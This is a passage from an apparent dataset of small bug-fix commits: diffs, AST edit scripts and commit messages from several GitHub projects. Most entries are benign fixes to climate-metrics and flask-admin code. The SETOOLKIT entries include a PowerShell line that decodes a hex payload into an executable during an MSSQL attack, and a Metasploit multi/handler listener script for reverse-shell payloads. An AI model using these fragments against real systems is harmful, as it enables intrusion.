3, 330, 3, 331]], ["Delete", ["(:(", 3, 332, 3, 333]], ["Delete", ["identifier:random_exe", 3, 333, 3, 343]], ["Delete", [",:,", 3, 343, 3, 344]], ["Delete", ["identifier:random_exe", 3, 344, 3, 354]], ["Delete", ["tuple", 3, 332, 3, 355]], ["Delete", ["binary_operator", 3, 46, 3, 355]], ["Delete", ["):)", 3, 355, 3, 356]]]
warecrer/SETOOLKIT@3e980204d2a8d1fe4b4d8478be21552cea9372d4
Fixed a bug in the mssql syntax around hex to binary conversion in powershell
[ { "sha": "083326a3816b0cd8b33b4944e13c02fdcac3a97b", "filename": "src/fasttrack/mssql.py", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/warecrer/SETOOLKIT/blob/3e980204d2a8d1fe4b4d8478be21552cea9372d4/src%2Ffasttrack%2Fmssql.py", "raw_url": "https://github.com/warecrer/SETOOLKIT/raw/3e980204d2a8d1fe4b4d8478be21552cea9372d4/src%2Ffasttrack%2Fmssql.py", "contents_url": "https://api.github.com/repos/warecrer/SETOOLKIT/contents/src%2Ffasttrack%2Fmssql.py?ref=3e980204d2a8d1fe4b4d8478be21552cea9372d4", "patch": "@@ -121,7 +121,7 @@ def deploy_hex2binary(ipaddr,port,username,password,option):\n \n if option == \"1\":\n # powershell command here, needs to be unicoded then base64 in order to use encodedcommand\n- powershell_command = unicode(\"$s=gc \\\"C:\\\\Windows\\\\system32\\\\%s\\\";$s=[string]::Join('',$s);$s=$s.Replace('`r',''); $s=$s.Replace('`n','');$b=new-object byte[] $($s.Length/2);0..$($b.Length-1)|%%{$b[$_]=[Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes(\\\"C:\\\\Windows\\\\system32\\\\%s.exe\\\",$b)\" % (random_exe,random_exe))\n+ powershell_command = unicode(\"\"\"$s=gc \"payload.hex\";$s=[string]::Join('',$s);$s=$s.Replace('`r','');$s=$s.Replace('`n','');$b=new-object byte[] $($s.Length/2);0..$($b.Length-1)| % {$b[$_]=[Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes(\"payload.exe\",$b);\"\"\")\n \n ########################################################################################################################################################################################################\n #" } ]
SETOOLKIT
161b8c2e2467d001703c26ac73862baee89dac21
97ada5f163fa69cf69d07b3432747043ce0f6605
setup.py
https://github.com/warecrer/SETOOLKIT
true
false
false
@@ -64,7 +64,7 @@ if platform.system() =='Darwin': subprocess.Popen("easy_install pexpect pycrypto pyopenssl pefile", shell=True).wait() if platform.system() != "Linux": - if platform.system != "Darwin": + if platform.system() != "Darwin": print "[!] Sorry this installer is not designed for any other system other than Linux and Mac. Please install the python depends manually."
if platform . system != "Darwin" : print "[!] Sorry this installer is not designed for any other system other than Linux and Mac. Please install the python depends manually."
if platform . system ( ) != "Darwin" : print "[!] Sorry this installer is not designed for any other system other than Linux and Mac. Please install the python depends manually."
SINGLE_STMT
[["Insert", ["comparison_operator", 3, 8, 3, 35], ["call", "N0"], 0], ["Move", "N0", ["attribute", 3, 8, 3, 23], 0], ["Insert", "N0", ["argument_list", "N1"], 1], ["Insert", "N1", ["(:(", "T"], 0], ["Insert", "N1", ["):)", "T"], 1]]
warecrer/SETOOLKIT@161b8c2e2467d001703c26ac73862baee89dac21
Fixed typo when using Mac OS
[ { "sha": "2352f789f0669829964976ec5aefb387c9b558c8", "filename": "setup.py", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/warecrer/SETOOLKIT/blob/161b8c2e2467d001703c26ac73862baee89dac21/setup.py", "raw_url": "https://github.com/warecrer/SETOOLKIT/raw/161b8c2e2467d001703c26ac73862baee89dac21/setup.py", "contents_url": "https://api.github.com/repos/warecrer/SETOOLKIT/contents/setup.py?ref=161b8c2e2467d001703c26ac73862baee89dac21", "patch": "@@ -64,7 +64,7 @@\n subprocess.Popen(\"easy_install pexpect pycrypto pyopenssl pefile\", shell=True).wait()\n \n if platform.system() != \"Linux\":\n- if platform.system != \"Darwin\":\n+ if platform.system() != \"Darwin\":\n print \"[!] Sorry this installer is not designed for any other system other than Linux and Mac. Please install the python depends manually.\"\n \n " } ]
SETOOLKIT
a84d6166a52df38b21c8cdfb4c1a86e635279c5f
96fc245d02b9853b0216007bb3ae9ac18a91a7fc
src/core/payloadgen/create_payloads.py
https://github.com/warecrer/SETOOLKIT
true
false
false
@@ -423,7 +423,7 @@ try: # grab ipaddr if not defined ipaddr = check_options("IPADDR=") if port_check == False: - filewrite.write("use exploit/multi/handler\nset PAYLOAD %s\nset LHOST %s\nset LPORT %s\nset ExitOnSession false\nset EnableStageEncoding true\nexploit -j\n\n" % (choice9, ipaddr, shellcode_port)) + filewrite.write("use exploit/multi/handler\nset PAYLOAD %s\nset EnableStageEncoding true\nset LHOST %s\nset LPORT %s\nset ExitOnSession false\nset EnableStageEncoding true\nexploit -j\n\n" % (choice9, ipaddr, shellcode_port)) filewrite.close() if validate_ip(choice2) == False:
filewrite . write ( "use exploit/multi/handler\nset PAYLOAD %s\nset LHOST %s\nset LPORT %s\nset ExitOnSession false\nset EnableStageEncoding true\nexploit -j\n\n" % ( choice9 , ipaddr , shellcode_port ) )
filewrite . write ( "use exploit/multi/handler\nset PAYLOAD %s\nset EnableStageEncoding true\nset LHOST %s\nset LPORT %s\nset ExitOnSession false\nset EnableStageEncoding true\nexploit -j\n\n" % ( choice9 , ipaddr , shellcode_port ) )
CHANGE_BINARY_OPERAND
[["Update", ["string:\"use exploit/multi/handler\\nset PAYLOAD %s\\nset LHOST %s\\nset LPORT %s\\nset ExitOnSession false\\nset EnableStageEncoding true\\nexploit -j\\n\\n\"", 3, 53, 3, 195], "\"use exploit/multi/handler\\nset PAYLOAD %s\\nset EnableStageEncoding true\\nset LHOST %s\\nset LPORT %s\\nset ExitOnSession false\\nset EnableStageEncoding true\\nexploit -j\\n\\n\""]]
warecrer/SETOOLKIT@a84d6166a52df38b21c8cdfb4c1a86e635279c5f
Added set EnableStageEncoding true on by default on multipyinjector
[ { "sha": "b79508eabc969ecfff6a79e0ba9ab3a6729fc9cc", "filename": "src/core/payloadgen/create_payloads.py", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/warecrer/SETOOLKIT/blob/a84d6166a52df38b21c8cdfb4c1a86e635279c5f/src%2Fcore%2Fpayloadgen%2Fcreate_payloads.py", "raw_url": "https://github.com/warecrer/SETOOLKIT/raw/a84d6166a52df38b21c8cdfb4c1a86e635279c5f/src%2Fcore%2Fpayloadgen%2Fcreate_payloads.py", "contents_url": "https://api.github.com/repos/warecrer/SETOOLKIT/contents/src%2Fcore%2Fpayloadgen%2Fcreate_payloads.py?ref=a84d6166a52df38b21c8cdfb4c1a86e635279c5f", "patch": "@@ -423,7 +423,7 @@\n # grab ipaddr if not defined\n ipaddr = check_options(\"IPADDR=\")\n if port_check == False:\n- filewrite.write(\"use exploit/multi/handler\\nset PAYLOAD %s\\nset LHOST %s\\nset LPORT %s\\nset ExitOnSession false\\nset EnableStageEncoding true\\nexploit -j\\n\\n\" % (choice9, ipaddr, shellcode_port))\n+ filewrite.write(\"use exploit/multi/handler\\nset PAYLOAD %s\\nset EnableStageEncoding true\\nset LHOST %s\\nset LPORT %s\\nset ExitOnSession false\\nset EnableStageEncoding true\\nexploit -j\\n\\n\" % (choice9, ipaddr, shellcode_port))\n filewrite.close()\n \n if validate_ip(choice2) == False:" } ]
SETOOLKIT
22a944d4ebcbc4c429bae70391af2680e46d2205
54d7bfef502e1379b7f37664bd96bc1b4bdcf35d
src/core/setcore.py
https://github.com/warecrer/SETOOLKIT
true
false
true
@@ -1386,7 +1386,7 @@ def start_dns(): # the main ~./set path for SET def setdir(): if check_os() == "posix": - return os.getenv("HOME") + "/.set" + return os.path.join(os.path.expanduser('~'), '.set') if check_os() == "windows": return "src/program_junk/" # set the main directory for SET
return os . getenv ( "HOME" ) + "/.set"
return os . path . join ( os . path . expanduser ( '~' ) , '.set' )
SINGLE_STMT
[["Insert", ["return_statement", 3, 9, 3, 43], ["call", "N0"], 1], ["Insert", "N0", ["attribute", "N1"], 0], ["Insert", "N0", ["argument_list", "N2"], 1], ["Move", "N1", ["attribute", 3, 16, 3, 25], 0], ["Insert", "N1", [".:.", "T"], 1], ["Insert", "N1", ["identifier:join", "T"], 2], ["Move", "N2", ["(:(", 3, 25, 3, 26], 0], ["Move", "N2", ["call", 3, 16, 3, 33], 1], ["Insert", "N2", [",:,", "T"], 2], ["Update", ["string:\"/.set\"", 3, 36, 3, 43], "'.set'"], ["Move", "N2", ["string:\"/.set\"", 3, 36, 3, 43], 3], ["Insert", "N2", ["):)", "T"], 4], ["Update", ["identifier:getenv", 3, 19, 3, 25], "path"], ["Insert", ["call", 3, 16, 3, 33], ["attribute", "N3"], 0], ["Insert", "N3", ["attribute", "N4"], 0], ["Insert", "N3", [".:.", "T"], 1], ["Insert", "N3", ["identifier:expanduser", "T"], 2], ["Insert", ["argument_list", 3, 25, 3, 33], ["(:(", "T"], 0], ["Update", ["string:\"HOME\"", 3, 26, 3, 32], "'~'"], ["Insert", "N4", ["identifier:os", "T"], 0], ["Insert", "N4", [".:.", "T"], 1], ["Insert", "N4", ["identifier:path", "T"], 2], ["Delete", ["+:+", 3, 34, 3, 35]], ["Delete", ["binary_operator", 3, 16, 3, 43]]]
warecrer/SETOOLKIT@22a944d4ebcbc4c429bae70391af2680e46d2205
Fixed ~ expansion bug In Mac OS X '~' will not expand to the user directory. Instead, a directory by the name of '~' will be created. This patch fixes this issue.
[ { "sha": "10c88b88c7df03a9f899ca6cb61a31b0a59fd49e", "filename": "src/core/setcore.py", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/warecrer/SETOOLKIT/blob/22a944d4ebcbc4c429bae70391af2680e46d2205/src%2Fcore%2Fsetcore.py", "raw_url": "https://github.com/warecrer/SETOOLKIT/raw/22a944d4ebcbc4c429bae70391af2680e46d2205/src%2Fcore%2Fsetcore.py", "contents_url": "https://api.github.com/repos/warecrer/SETOOLKIT/contents/src%2Fcore%2Fsetcore.py?ref=22a944d4ebcbc4c429bae70391af2680e46d2205", "patch": "@@ -1386,7 +1386,7 @@ def start_dns():\n # the main ~./set path for SET \n def setdir():\n if check_os() == \"posix\":\n- return os.getenv(\"HOME\") + \"/.set\"\n+ return os.path.join(os.path.expanduser('~'), '.set')\n if check_os() == \"windows\":\n return \"src/program_junk/\"\n # set the main directory for SET " } ]
pcmdi_metrics
96cb7fa8844f6340ddfe06a1884980b81f2c3a9e
03d90667bad7be057c89aaebd943d7ec801563ba
test/graphics/test_portrait.py
https://github.com/wk1984/pcmdi_metrics
true
false
false
@@ -72,7 +72,7 @@ vars = [] ### LOAD METRICS DICTIONARIES FROM JSON FILES FOR EACH VAR AND STORE AS A SINGLE DICTIONARY var_cmip5_dics = {} mods = set() -json_files = glob.glob(os.path.join(sys.prefix,"share","CMIP_results","CMIP5","amip","*.json")) +json_files = glob.glob(os.path.join(sys.prefix,"share","CMIP_metrics_results","CMIP5","amip","*.json")) for fnm in json_files: f=open(fnm) d = json.load(f)
json_files = glob . glob ( os . path . join ( sys . prefix , "share" , "CMIP_results" , "CMIP5" , "amip" , "*.json" ) )
json_files = glob . glob ( os . path . join ( sys . prefix , "share" , "CMIP_metrics_results" , "CMIP5" , "amip" , "*.json" ) )
CHANGE_STRING_LITERAL
[["Update", ["string:\"CMIP_results\"", 3, 56, 3, 70], "\"CMIP_metrics_results\""]]
wk1984/pcmdi_metrics@96cb7fa8844f6340ddfe06a1884980b81f2c3a9e
fix #122 - updated test_portrait.py to deal with new directory structure for json files
[ { "sha": "32403f3119d976793d47f7cd38f7f6cda52fe658", "filename": "test/graphics/test_portrait.py", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/wk1984/pcmdi_metrics/blob/96cb7fa8844f6340ddfe06a1884980b81f2c3a9e/test%2Fgraphics%2Ftest_portrait.py", "raw_url": "https://github.com/wk1984/pcmdi_metrics/raw/96cb7fa8844f6340ddfe06a1884980b81f2c3a9e/test%2Fgraphics%2Ftest_portrait.py", "contents_url": "https://api.github.com/repos/wk1984/pcmdi_metrics/contents/test%2Fgraphics%2Ftest_portrait.py?ref=96cb7fa8844f6340ddfe06a1884980b81f2c3a9e", "patch": "@@ -72,7 +72,7 @@\n ### LOAD METRICS DICTIONARIES FROM JSON FILES FOR EACH VAR AND STORE AS A SINGLE DICTIONARY\n var_cmip5_dics = {}\n mods = set()\n-json_files = glob.glob(os.path.join(sys.prefix,\"share\",\"CMIP_results\",\"CMIP5\",\"amip\",\"*.json\"))\n+json_files = glob.glob(os.path.join(sys.prefix,\"share\",\"CMIP_metrics_results\",\"CMIP5\",\"amip\",\"*.json\"))\n for fnm in json_files:\n f=open(fnm)\n d = json.load(f)" } ]
pcmdi_metrics
0e8725cea2b527ee5a38d43865e0f6c42c7b1651
0d736ed4c375b6e24b3f3c085d01d2b5ddb850db
src/python/pcmdi/scripts/pcmdi_metrics_driver.py
https://github.com/wk1984/pcmdi_metrics
true
false
false
@@ -394,7 +394,7 @@ for var in parameters.vars: #### CALCULATE METRICS FOR ALL VARIABLES IN vars if level is None: varid = var else: - varid = "%s_%s" % (var,level) + varid = "%s_%i" % (var,int(level)) CLIM.variable = varid CLIM.region = region_name CLIM.realization = parameters.realization
varid = "%s_%s" % ( var , level )
varid = "%s_%i" % ( var , int ( level ) )
SINGLE_STMT
[["Update", ["string:\"%s_%s\"", 3, 33, 3, 40], "\"%s_%i\""], ["Insert", ["tuple", 3, 43, 3, 54], ["call", "N0"], 3], ["Insert", ["tuple", 3, 43, 3, 54], ["):)", "T"], 4], ["Insert", "N0", ["identifier:int", "T"], 0], ["Insert", "N0", ["argument_list", "N1"], 1], ["Insert", "N1", ["(:(", "T"], 0], ["Move", "N1", ["identifier:level", 3, 48, 3, 53], 1], ["Move", "N1", ["):)", 3, 53, 3, 54], 2]]
wk1984/pcmdi_metrics@0e8725cea2b527ee5a38d43865e0f6c42c7b1651
fixed @durack1 long lasting request for dot in var names
[ { "sha": "ad7c450c24785f68489d51ec9cd19867e41a43a8", "filename": "src/python/pcmdi/scripts/pcmdi_metrics_driver.py", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/wk1984/pcmdi_metrics/blob/0e8725cea2b527ee5a38d43865e0f6c42c7b1651/src%2Fpython%2Fpcmdi%2Fscripts%2Fpcmdi_metrics_driver.py", "raw_url": "https://github.com/wk1984/pcmdi_metrics/raw/0e8725cea2b527ee5a38d43865e0f6c42c7b1651/src%2Fpython%2Fpcmdi%2Fscripts%2Fpcmdi_metrics_driver.py", "contents_url": "https://api.github.com/repos/wk1984/pcmdi_metrics/contents/src%2Fpython%2Fpcmdi%2Fscripts%2Fpcmdi_metrics_driver.py?ref=0e8725cea2b527ee5a38d43865e0f6c42c7b1651", "patch": "@@ -394,7 +394,7 @@ def applyCustomKeys(O,custom_dict,var):\n if level is None:\n varid = var\n else:\n- varid = \"%s_%s\" % (var,level)\n+ varid = \"%s_%i\" % (var,int(level))\n CLIM.variable = varid\n CLIM.region = region_name\n CLIM.realization = parameters.realization" } ]
pcmdi_metrics
b373f97c8291671033d49c4eff04cd3fc1798480
4395d07f1e23a9e6082b336310e2284ec6d9f8eb
setup.py
https://github.com/wk1984/pcmdi_metrics
true
false
false
@@ -59,7 +59,7 @@ setup (name = 'pcmdi_metrics', ('test/pcmdi',test_py_files), ('test/pcmdi/data',test_data_files), ('test/pcmdi/gensftlfTest',('test/pcmdi/gensftlfTest/tas_2.5x2.5_esmf_linear_metrics.json',)), - ('test/pcmdi/installationTest',('test/pcmdi/installationTest/tas_2.5x2.5_esmf_linear_metrics.json','test/pcmdi/installationTest/tos_2.5x2.5_esmf_linear_metrics.json',)), + ('test/pcmdi/installationTest',('test/pcmdi/installationTest/tas_2.5x2.5_regrid2_linear_metrics.json','test/pcmdi/installationTest/tos_2.5x2.5_esmf_linear_metrics.json',)), ('test/pcmdi/nosftlfTest',('test/pcmdi/nosftlfTest/tas_2.5x2.5_esmf_linear_metrics.json',)), ('test/pcmdi/obs/ocn/mo/tos/UKMETOFFICE-HadISST-v1-1/ac',('test/pcmdi/obs/ocn/mo/tos/UKMETOFFICE-HadISST-v1-1/ac/tos_pcmdi-metrics_Omon_UKMETOFFICE-HadISST-v1-1_198002-200501-clim.nc',)), ('test/pcmdi/obs/fx/sftlf/ERAINT',('test/pcmdi/obs/fx/sftlf/ERAINT/sftlf_pcmdi-metrics_fx_ECMWF-ERAInterim_197901-201407.nc',)),
( 'test/pcmdi/installationTest' , ( 'test/pcmdi/installationTest/tas_2.5x2.5_esmf_linear_metrics.json' , 'test/pcmdi/installationTest/tos_2.5x2.5_esmf_linear_metrics.json' , ) ) ,
( 'test/pcmdi/installationTest' , ( 'test/pcmdi/installationTest/tas_2.5x2.5_regrid2_linear_metrics.json' , 'test/pcmdi/installationTest/tos_2.5x2.5_esmf_linear_metrics.json' , ) ) ,
CHANGE_STRING_LITERAL
[["Update", ["string:'test/pcmdi/installationTest/tas_2.5x2.5_esmf_linear_metrics.json'", 3, 56, 3, 122], "'test/pcmdi/installationTest/tas_2.5x2.5_regrid2_linear_metrics.json'"]]
wk1984/pcmdi_metrics@b373f97c8291671033d49c4eff04cd3fc1798480
Tweaks; test/pcmdi path fixes
[ { "sha": "9be875b5310efaba46cac148177dc097d43ca74e", "filename": "setup.py", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/wk1984/pcmdi_metrics/blob/b373f97c8291671033d49c4eff04cd3fc1798480/setup.py", "raw_url": "https://github.com/wk1984/pcmdi_metrics/raw/b373f97c8291671033d49c4eff04cd3fc1798480/setup.py", "contents_url": "https://api.github.com/repos/wk1984/pcmdi_metrics/contents/setup.py?ref=b373f97c8291671033d49c4eff04cd3fc1798480", "patch": "@@ -59,7 +59,7 @@\n ('test/pcmdi',test_py_files),\n ('test/pcmdi/data',test_data_files),\n ('test/pcmdi/gensftlfTest',('test/pcmdi/gensftlfTest/tas_2.5x2.5_esmf_linear_metrics.json',)),\n- ('test/pcmdi/installationTest',('test/pcmdi/installationTest/tas_2.5x2.5_esmf_linear_metrics.json','test/pcmdi/installationTest/tos_2.5x2.5_esmf_linear_metrics.json',)),\n+ ('test/pcmdi/installationTest',('test/pcmdi/installationTest/tas_2.5x2.5_regrid2_linear_metrics.json','test/pcmdi/installationTest/tos_2.5x2.5_esmf_linear_metrics.json',)),\n ('test/pcmdi/nosftlfTest',('test/pcmdi/nosftlfTest/tas_2.5x2.5_esmf_linear_metrics.json',)),\n ('test/pcmdi/obs/ocn/mo/tos/UKMETOFFICE-HadISST-v1-1/ac',('test/pcmdi/obs/ocn/mo/tos/UKMETOFFICE-HadISST-v1-1/ac/tos_pcmdi-metrics_Omon_UKMETOFFICE-HadISST-v1-1_198002-200501-clim.nc',)),\n ('test/pcmdi/obs/fx/sftlf/ERAINT',('test/pcmdi/obs/fx/sftlf/ERAINT/sftlf_pcmdi-metrics_fx_ECMWF-ERAInterim_197901-201407.nc',))," } ]
pcmdi_metrics
af95bbef7fc645bd2ba8f637d57705dd91e76249
9a5ff69dc261b3ba92f808e80d365ffd14928333
setup.py
https://github.com/wk1984/pcmdi_metrics
true
false
false
@@ -28,7 +28,7 @@ cmip5_amip_json = glob.glob("data/CMIP_metrics_results/CMIP5/amip/*.json cmip5_historical_json = glob.glob("data/CMIP_metrics_results/CMIP5/historical/*.json") cmip5_piControl_json = glob.glob("data/CMIP_metrics_results/CMIP5/piControl/*.json") demo_ACME_files = glob.glob("demo/ACME/*.py") -demo_GFDL_files = glob.glob("demo/GFDL/*.py") +demo_GFDL_files = glob.glob("demo/GFDL/*.*") demo_NCAR_files = glob.glob("demo/NCAR/*.py") param_files = glob.glob("doc/parameter_files/*.py")
demo_GFDL_files = glob . glob ( "demo/GFDL/*.py" )
demo_GFDL_files = glob . glob ( "demo/GFDL/*.*" )
CHANGE_STRING_LITERAL
[["Update", ["string:\"demo/GFDL/*.py\"", 3, 37, 3, 53], "\"demo/GFDL/*.*\""]]
wk1984/pcmdi_metrics@af95bbef7fc645bd2ba8f637d57705dd91e76249
Fix #201 - Added GFDL test.png files to install through setup.py
[ { "sha": "a7e2c76cf10bb06c1b22b499013a03dadbafd0b1", "filename": "setup.py", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/wk1984/pcmdi_metrics/blob/af95bbef7fc645bd2ba8f637d57705dd91e76249/setup.py", "raw_url": "https://github.com/wk1984/pcmdi_metrics/raw/af95bbef7fc645bd2ba8f637d57705dd91e76249/setup.py", "contents_url": "https://api.github.com/repos/wk1984/pcmdi_metrics/contents/setup.py?ref=af95bbef7fc645bd2ba8f637d57705dd91e76249", "patch": "@@ -28,7 +28,7 @@\n cmip5_historical_json = glob.glob(\"data/CMIP_metrics_results/CMIP5/historical/*.json\")\n cmip5_piControl_json = glob.glob(\"data/CMIP_metrics_results/CMIP5/piControl/*.json\")\n demo_ACME_files = glob.glob(\"demo/ACME/*.py\")\n-demo_GFDL_files = glob.glob(\"demo/GFDL/*.py\")\n+demo_GFDL_files = glob.glob(\"demo/GFDL/*.*\")\n demo_NCAR_files = glob.glob(\"demo/NCAR/*.py\")\n param_files = glob.glob(\"doc/parameter_files/*.py\")\n " } ]
pcmdi_metrics
89f40dc7cc154589dcb926d46fdb86f49f5552d3
07b3ca3ba1551159ae164172551104c90fdf82e3
src/python/pcmdi/scripts/pcmdi_metrics_driver.py
https://github.com/wk1984/pcmdi_metrics
true
false
false
@@ -283,7 +283,7 @@ for var in parameters.vars: #### CALCULATE METRICS FOR ALL VARIABLES IN vars sft = cdutil.generateLandSeaMask(Vr(*(slice(0,1),)*N))*100. sft[:]=sft.filled(100.) sftlf[model_version]["raw"]=sft - f.close() + fv.close() dup("auto generated sftlf for model %s " % model_version) MODEL.mask = MV2.logical_not(MV2.equal(sftlf[model_version]["raw"],region))
f . close ( )
fv . close ( )
SAME_FUNCTION_WRONG_CALLER
[["Update", ["identifier:f", 3, 26, 3, 27], "fv"]]
wk1984/pcmdi_metrics@89f40dc7cc154589dcb926d46fdb86f49f5552d3
fixed typo
[ { "sha": "e4f723675e464e5d89c1658ec90ec3dad24ef0fe", "filename": "src/python/pcmdi/scripts/pcmdi_metrics_driver.py", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/wk1984/pcmdi_metrics/blob/89f40dc7cc154589dcb926d46fdb86f49f5552d3/src%2Fpython%2Fpcmdi%2Fscripts%2Fpcmdi_metrics_driver.py", "raw_url": "https://github.com/wk1984/pcmdi_metrics/raw/89f40dc7cc154589dcb926d46fdb86f49f5552d3/src%2Fpython%2Fpcmdi%2Fscripts%2Fpcmdi_metrics_driver.py", "contents_url": "https://api.github.com/repos/wk1984/pcmdi_metrics/contents/src%2Fpython%2Fpcmdi%2Fscripts%2Fpcmdi_metrics_driver.py?ref=89f40dc7cc154589dcb926d46fdb86f49f5552d3", "patch": "@@ -283,7 +283,7 @@ def applyCustomKeys(O,custom_dict,var):\n sft = cdutil.generateLandSeaMask(Vr(*(slice(0,1),)*N))*100.\n sft[:]=sft.filled(100.)\n sftlf[model_version][\"raw\"]=sft\n- f.close()\n+ fv.close()\n dup(\"auto generated sftlf for model %s \" % model_version)\n \n MODEL.mask = MV2.logical_not(MV2.equal(sftlf[model_version][\"raw\"],region))" } ]
pcmdi_metrics
4e93a7412b45bacec5ff20b9a0699a8d7ee55538
3b21642c4198c1b8d9e1a33ed0868501d62ba91f
src/python/pcmdi/mean_climate_metrics_calculations.py
https://github.com/wk1984/pcmdi_metrics
true
false
true
@@ -29,7 +29,7 @@ def compute_metrics(Var,dm_glb,do_glb): cor_xyt = pcmdi_metrics.pcmdi.cor_xyt.compute(dm,do) ### CALCULATE ANNUAL MEANS - do_am, dm_am = pcmdi_metrics.pcmdi.annual_mean.compute(dm,do) + dm_am, do_am = pcmdi_metrics.pcmdi.annual_mean.compute(dm,do) ### CALCULATE ANNUAL MEAN BIAS bias_xy = pcmdi_metrics.pcmdi.bias.compute(dm_am,do_am)
do_am , dm_am = pcmdi_metrics . pcmdi . annual_mean . compute ( dm , do )
dm_am , do_am = pcmdi_metrics . pcmdi . annual_mean . compute ( dm , do )
SINGLE_STMT
[["Move", ["identifier:do_am", 3, 9, 3, 14], ["pattern_list", 3, 9, 3, 21], 2], ["Move", [",:,", 3, 14, 3, 15], ["pattern_list", 3, 9, 3, 21], 3]]
wk1984/pcmdi_metrics@4e93a7412b45bacec5ff20b9a0699a8d7ee55538
Fixed reversed order of call to annual_mean.compute() Order should be: dm_am, do_am = pcmdi_metrics.pcmdi.annual_mean.compute(dm,do)
[ { "sha": "283796b3d00fa510f69d756f0ef65a950a5fe382", "filename": "src/python/pcmdi/mean_climate_metrics_calculations.py", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/wk1984/pcmdi_metrics/blob/4e93a7412b45bacec5ff20b9a0699a8d7ee55538/src%2Fpython%2Fpcmdi%2Fmean_climate_metrics_calculations.py", "raw_url": "https://github.com/wk1984/pcmdi_metrics/raw/4e93a7412b45bacec5ff20b9a0699a8d7ee55538/src%2Fpython%2Fpcmdi%2Fmean_climate_metrics_calculations.py", "contents_url": "https://api.github.com/repos/wk1984/pcmdi_metrics/contents/src%2Fpython%2Fpcmdi%2Fmean_climate_metrics_calculations.py?ref=4e93a7412b45bacec5ff20b9a0699a8d7ee55538", "patch": "@@ -29,7 +29,7 @@ def compute_metrics(Var,dm_glb,do_glb):\n cor_xyt = pcmdi_metrics.pcmdi.cor_xyt.compute(dm,do)\n \n ### CALCULATE ANNUAL MEANS\n- do_am, dm_am = pcmdi_metrics.pcmdi.annual_mean.compute(dm,do)\n+ dm_am, do_am = pcmdi_metrics.pcmdi.annual_mean.compute(dm,do)\n \n ### CALCULATE ANNUAL MEAN BIAS\n bias_xy = pcmdi_metrics.pcmdi.bias.compute(dm_am,do_am)" } ]
flask-admin
09678c0597149e3a9db29d45874964941f0196b0
715da53786850b4267e988ad7dca428a7fada581
flask_admin/form/rules.py
https://github.com/zhijuebin/flask-admin
true
false
true
@@ -30,7 +30,7 @@ class BaseRule(object): """ A list of visible fields for the given rule. """ - raise [] + return [] def __call__(self, form, form_opts=None, field_args={}):
raise [ ]
return [ ]
SINGLE_TOKEN
[["Insert", ["module", 0, 9, 6, 0], ["return_statement", "N0"], 1], ["Insert", "N0", ["return:return", "T"], 0], ["Move", "N0", ["list", 3, 15, 3, 17], 1], ["Delete", ["raise:raise", 3, 9, 3, 14]], ["Delete", ["raise_statement", 3, 9, 3, 17]]]
zhijuebin/flask-admin@09678c0597149e3a9db29d45874964941f0196b0
Fixed typo
[ { "sha": "10bfbf9a16a512e2ceff109de2a65ec96c4e4848", "filename": "flask_admin/form/rules.py", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/zhijuebin/flask-admin/blob/09678c0597149e3a9db29d45874964941f0196b0/flask_admin%2Fform%2Frules.py", "raw_url": "https://github.com/zhijuebin/flask-admin/raw/09678c0597149e3a9db29d45874964941f0196b0/flask_admin%2Fform%2Frules.py", "contents_url": "https://api.github.com/repos/zhijuebin/flask-admin/contents/flask_admin%2Fform%2Frules.py?ref=09678c0597149e3a9db29d45874964941f0196b0", "patch": "@@ -30,7 +30,7 @@ def visible_fields(self):\n \"\"\"\n A list of visible fields for the given rule.\n \"\"\"\n- raise []\n+ return []\n \n def __call__(self, form, form_opts=None, field_args={}):\n \"\"\"" } ]
flask-admin
2a55cd5c7cb1d31f6c3a62309479ab07e8a56ecf
8ecf9dcf56c24d2eef7176135fa2abaad69be7c5
flask_admin/model/filters.py
https://github.com/zhijuebin/flask-admin
true
false
true
@@ -266,7 +266,7 @@ def convert(*args): def _inner(func): - func._converter_for = list(map(str.lower, args)) + func._converter_for = list(map(lambda x: x.lower(), args)) return func return _inner
func . _converter_for = list ( map ( str . lower , args ) )
func . _converter_for = list ( map ( lambda x : x . lower ( ) , args ) )
SINGLE_STMT
[["Insert", ["argument_list", 1, 39, 1, 56], ["lambda", "N0"], 1], ["Insert", ["argument_list", 1, 39, 1, 56], ["):)", "T"], 5], ["Insert", "N0", ["lambda:lambda", "T"], 0], ["Insert", "N0", ["lambda_parameters", "N1"], 1], ["Insert", "N0", [":::", "T"], 2], ["Insert", "N0", ["call", "N2"], 3], ["Insert", "N1", ["identifier:x", "T"], 0], ["Move", "N2", ["attribute", 1, 40, 1, 49], 0], ["Insert", "N2", ["argument_list", "N3"], 1], ["Update", ["identifier:str", 1, 40, 1, 43], "x"], ["Insert", "N3", ["(:(", "T"], 0], ["Move", "N3", ["):)", 1, 55, 1, 56], 1]]
zhijuebin/flask-admin@2a55cd5c7cb1d31f6c3a62309479ab07e8a56ecf
Update filters.py There are some programmers using unicode strings by default in Python 2 (from __future__ import unicode_literals). In that case "str.lower" raises TypeError (str type is expected, unicode given). This propose fixed mentioned issue.
